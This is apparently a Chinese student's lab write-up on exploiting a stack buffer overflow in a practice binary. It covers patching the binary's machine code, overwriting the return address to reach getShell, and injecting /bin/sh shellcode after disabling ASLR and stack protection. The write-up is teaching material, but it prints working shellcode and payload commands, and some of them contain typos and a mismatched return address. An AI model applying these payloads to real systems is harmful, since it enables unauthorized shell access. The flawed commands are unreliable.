实践目的
- 本次实践的对象是一个名为
pwn1
的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
任务一、直接修改程序机器指令,改变程序执行流程
1、使用objdump -d pwn1
将pwn1d反汇编
从上图可以看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>
这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。如果我们想让函数调用getShell,只需要修改d7 ff ff ff
即可。根据foo
函数与getShell
地址的偏移量,我们计算出应该改为c3 ff ff ff
。
2、修改步骤如下
vim pwn1
进入命令模式,输入:%!xxd
将显示模式切换为十六进制,在底行模式输入/e8 d7
定位需要修改的地方,并确认
进入插入模式,修改d7
为c3
输入:%!xxd -r
将十六进制转换为原格式
输入:wq
保存并退出
3、反汇编查看修改后的代码,发现call指令正确调用getShell
4、运行修改后的代码,可以得到shell提示符
任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
pwn2
正常运行是调用函数foo
,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
1、使用gdb
调试pwn2
进入gdb
调试,输入字串1111111122222222333333334444444455555555
;观察一下各寄存器的值
此时eip寄存器中的值为0x35353535
,即5555的SCII
码。eip
寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。
2、将输入字符串的“55555555”改成“12345678”,以便进一步观察修改的地方。
此时寄存器eip的值,换算成ASCⅡ码刚好是1234。也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d
,因无法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)
3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
4、然后将input
,通过管道符“|”,作为pwn1的输入,格式为(cat input; cat ) | ./pwn
。
任务三、注入Shellcode并运行攻击
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 首先使用
apt-get install execstack
命令安装execstack
。
修改以下内容
设置堆栈可执行 execstack -s pwn2
查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
关闭地址随机化cho "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space
3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)
采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
,用perl语言输入代码perl -e 'print "A" x 32;print \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1
将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。
3.2确定返回地址的值
将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2
,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2
确定pwn2的进程号
- 启动gdb调试这个程序
gdb
,attach 3900
- 设置断点来查看注入buf的内存地址d
isassemble foo
ret的地址为0x080484ae
,ret执行完就会跳到我们覆盖的返回地址了 break *0x080484ae
设置断点- 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
- 再在gdb调试的终端输入 c 继续运行程序
- 通过
info r esp
查看esp寄存器的地址
上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290
退出gdb调试。 修改注入代码的覆盖地址
输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行程序,攻击成功
实验中遇到问题及解决方法
Q:下载的pwn1无法修改,提示权限不够
A:输入chmod a+X pwn1
修改权限即可
Q:注入修改后的shellcode之后运行pwn3提示段错误
A:重新设置堆栈可执行
Q:实验一中修改pwn1后无法运行
A:在十六进制下修改pwn1文件之后要用%!xxd -r
改回原来的格式